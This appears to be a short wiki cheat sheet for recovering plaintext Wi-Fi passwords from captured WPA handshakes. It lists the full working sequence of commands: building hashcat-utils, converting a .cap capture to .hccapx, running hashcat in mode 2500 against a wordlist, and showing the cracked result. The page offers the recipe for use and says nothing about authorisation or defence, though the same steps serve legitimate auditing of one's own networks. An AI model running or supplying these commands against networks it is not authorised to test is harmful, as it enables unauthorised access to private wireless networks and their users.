==== Cracking WPA handshakes with hashcat ====

\\
This is a little **cheat sheet** of the tools and commands needed\\
to crack WPA handshakes and get plain text passwords out of them.\\

\\
Convert .cap files into .hccapx files (new format for hashcat)
<code bash>
git clone https://github.com/hashcat/hashcat-utils.git
cd hashcat-utils/src
make
./cap2hccapx.bin THEWIFITOCRACK.cap THEWIFITOCRACK.hccapx
</code>

Execute hashcat in WPA handshake mode
<code bash>
hashcat -m 2500 -w 3 THEWIFITOCRACK.hccapx A_WORDLIST.lst
</code>

Once finished, check if passwords found
<code bash>
hashcat -m 2500 THEWIFITOCRACK.hccapx --show

# if none found, the output is empty :(
